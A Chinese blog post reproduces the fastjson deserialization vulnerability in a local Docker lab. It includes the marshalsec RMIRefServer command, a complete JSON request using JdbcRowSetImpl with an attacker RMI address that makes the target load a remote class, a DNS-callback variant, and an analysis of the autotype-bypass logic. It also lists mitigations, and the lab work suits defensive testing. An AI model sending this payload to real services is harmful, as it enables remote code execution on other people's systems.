fastjson jar包_fastjson反序列化漏洞复现分析

                  今 天老大突然安排我一个很有意思的问题,需要测试一下关于fastjson反序列化漏洞的问题。 (因为项目里面有用到!!)

                                  180c1f07ccd42c7ad5ba82caeec6d349.gif

首先网上查阅了下资料:

漏洞危害:严重    危 危 危。。。

  • FastJson最新(2019年6月)爆出的绕过方法可以通杀1.2.48版本以下所有,有传言在autotype开启的情况下可以打到1.2.57。

解决方案:

  • FastJson升级到最新1.2.58版本;

  • 采用默认的关闭autotype

    bbd0e80cf9d413b1790dc0a5308496d9.png        于是我有一个大胆的想法,想在自己本机上复现这种情况,于是查了下资料,首先需要的是一个靶场(就是一个漏洞环境),于是马上就想到了用docker来模拟这个靶场,为了模拟这个靶场和运行的攻击环境真的是太费功夫了,这里期间的坑太多了,主要记录了一下:

                                584dc4f00486795fe2595de4f3aa2dad.gif

bug复现靶场搭建:

  1. 首先docker上面的运行环境都需要存在,包括最基本的 java 环境,python3版本,git ,docker ,maven 

  2. 提到这个靶场,我无意间仿佛打开了一个新世界的大门,就是 Vulhub

    由Phithon维护的Vulhub :https://github.com/phith0n/vulhub

  3. Vulhub是一个面向大众的开源漏洞靶场,无需Docker知识,简单执行两条命令即可编译、运行一个完整的漏洞靶场镜像。

  4. 由 Medicean 维护的Vulapp项目地址:

    https://github.com/Medicean/VulApps

  5. Vulapp收集各种漏洞环境,为方便使用,统一采用 Dockerfile 形式。同时也收集了安全工具环境。

这个具体搭建环境和场景我就不操作了,具体可以在网上搜索下,如果出现访问443的时候可以https://blog.csdn.net/CoreyXuu/article/details/106488361 参考

靶场环境搭建好了,我这里创建了两个环境一个是靶机和攻击者站点分别是如下图:

e0aed978d1e3d8f6abc9f370a99794ed.png

1.靶机:http://192.168.3.105:8090,使用docker起的靶机

2.攻击者站点:http://192.168.3.105:8080,这里用的是tomcat(nginx或其他亦可),同样使用docker起 如上图

3.攻击者RMI服务器:rmi://192.168.3.102:6666

注意:攻击者有两个服务端需要准备,分别是存放攻击代码的http://192.168.3.105:8080和rmi://192.168.3.102:6666

然后就是自己的思路了:

      攻击者通过RMI服务返回一个JNDI Naming Reference,受害者解码Reference时会去我们指定的Codebase远程地址(http://192.168.3.105:8080)加载Factory类,不受 java.rmi.server.useCodebaseOnly 系统属性的限制,所以更加通用。

     但是由于JDK 6u132, JDK 7u122, JDK 8u113 中Java提升了JNDI 限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 默认为false,即默认不允许从远程的Codebase加载Reference的工厂类(Factory Class)。

因此本文复现,基于Java 8u102环境,没有com.sun.jndi.rmi.object.trustURLCodebase的限制

漏洞复现

一:192.168.3.105:8080站点准备

二:在idea中编译以下代码,生成TouchFile.class文件,文件代码很简单,就是为了在/tmp目录下生成success文件

e78c8b2ae1dec15788c963677dcb239f.png

工程目录

162220d172df98a45674c406f161f5e5.png

通过docker起个tomcat,在tomcat的web目录/usr/local/tomcat/webapps/ROOT/下,放入刚刚编译好的TouchFile.class文件

ed7817093f3ceb96e031d17b3730e8c3.png

RMI服务器准备

(1)从https://github.com/mbechler/marshalsec 下载源码,进入marshalsec 目录,使用mvn clean package -DskipTests命令编译出marshalsec的jar包:

077fd30bb7b35716e0d9ab62ecee89d1.png

(2)进入上图marshalsec-0.0.3-SNAPSHOT.jar所在文件夹,执行java -cp marshalsec-0.0.3-SNAPSHOT-all.jar 

marshalsec.jndi.RMIRefServer 

"http://192.168.3.105:8080/#TouchFile" 6666 。

其中192.168.3.105:8080指向的就是放了恶意class的tomcat站点,#TouchFile指定是远程TouchFile类,最后的6666代表RMI服务监听的端口

4f44c15af8eb2cab8110ea24f6defee6.png

攻击请求包构造

     开bp截包,dataSourceName对应的值中指定指明rmi服务器的地址,其中Content-Type: application/json别忘了,靶机回500:

POST / HTTP/1.1Accept: */*Accept-Language: zh-CNUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; NMTE)Host: 192.168.3.105:8080Connection: closeContent-Length: 165Content-Type: application/jsonAccept-Encoding: gzip, deflate{    "b":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"rmi://192.168.3.102:6666/TouchFile",        "autoCommit":true    }}

如图

434858b50688090de75e3da863aae111.png

rmi服务器可以看到成功收到请求,并请求http://192.168.3.105:8080/TouchFile.class:

2b11c8afc5301cd7329295610ce5a5d1.png

tomcat日志中也可以看到请求成功

88e62db76cb66a3d2fd0ae54a0ab8fe3.png

/tmp目录下成功生成success文件

ad5bea53635c23225ee0982e772fdf04.png

通过DNS拿回显

在实际情况下,因为不可能会有受害机权限,往往不会通过创建文件方式来证明漏洞存在。一般常用方法是通过DNS拿回显网上是这样说的。

命令直接换成ping

0b9918ef87bc8582e343be0fa413f6da.png

同样jndi服务指向也要改下,对应tomcat的Dns.class记得放到对应目录下

235ca2c0643fee8e36b2ac590e6153ad.png

dns回显成功拿到

b8a2dbf90a4e56488eb84ddd37d97e34.png

最后看了下源码

     这次绕过的大体思路是通过java.lang.Class,将JdbcRowSetImpl类加载到map缓存,从而绕过autotype的检测。因此将payload分两次发送,第一次加载,第二次执行。默认情况下,只要遇到没有加载到缓存的类,checkautotype就会抛出异常并中止。

入口在parse方法,单步进去

b3b5f87af67a1d59231d33750f22fe1e.png

一步步跟到DefaultJSONParser.java中有一段调用checkautotype,也就是检测的核心逻辑。跟进该方法

clazz = this.config.checkAutoType(typeName, (Class)null, lexer.getFeatures())

在开启的情况下,checkautotype方法类似黑名单,会进入下图逻辑,通过将类名hash后和denyHashCodes进行对比。目前有人fuzz出了部分黑名单中的类:https://github.com/LeadroyaL/fastjson-blacklist。开启的情况下,当黑名单检测命中时,根据代码逻辑,会先通过loadClass方法加载该类并返回,因此就绕过了检测。

3b1f81b81da352a20460a4751038e767.png

在autotype关闭的情况下,checkautotype方法类似白名单,主要检测类是否在白名单中,也就是是否被加载。通过getClassFromMapping尝试在缓存加载该类。如果不存在,下边还会通过deserializers来找,如果都没有,下边就会抛异常。

39a225fb991108d370f8b8d529018038.png

当发送第一次请求时,Class是通过deserializers.findClass加载的,然后Class将JdbcRowSetImpl类加载进map中,然后第二次请求时,就这里就成功找到了JdbcRowSetImpl类,从而绕过检测。

a0e58d47e6e61fa436ee8c060ee070dc.png

加载JdbcRowSetImpl后,就和之前的payload一样了,通过JdbcRowSetImpl中的调用链,通过jndi的lookup加载远程类。

调用栈如下图

dc2e9f2ad700c4530f5f777b785985aa.png

总结:脖子感觉要炸开一样死沉死沉的难受,需要休息

                                     2db0a8324b22457839f1034a1723d15b.gif

b6ad9c84641eaa99b3b89c96ceab075c.png
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值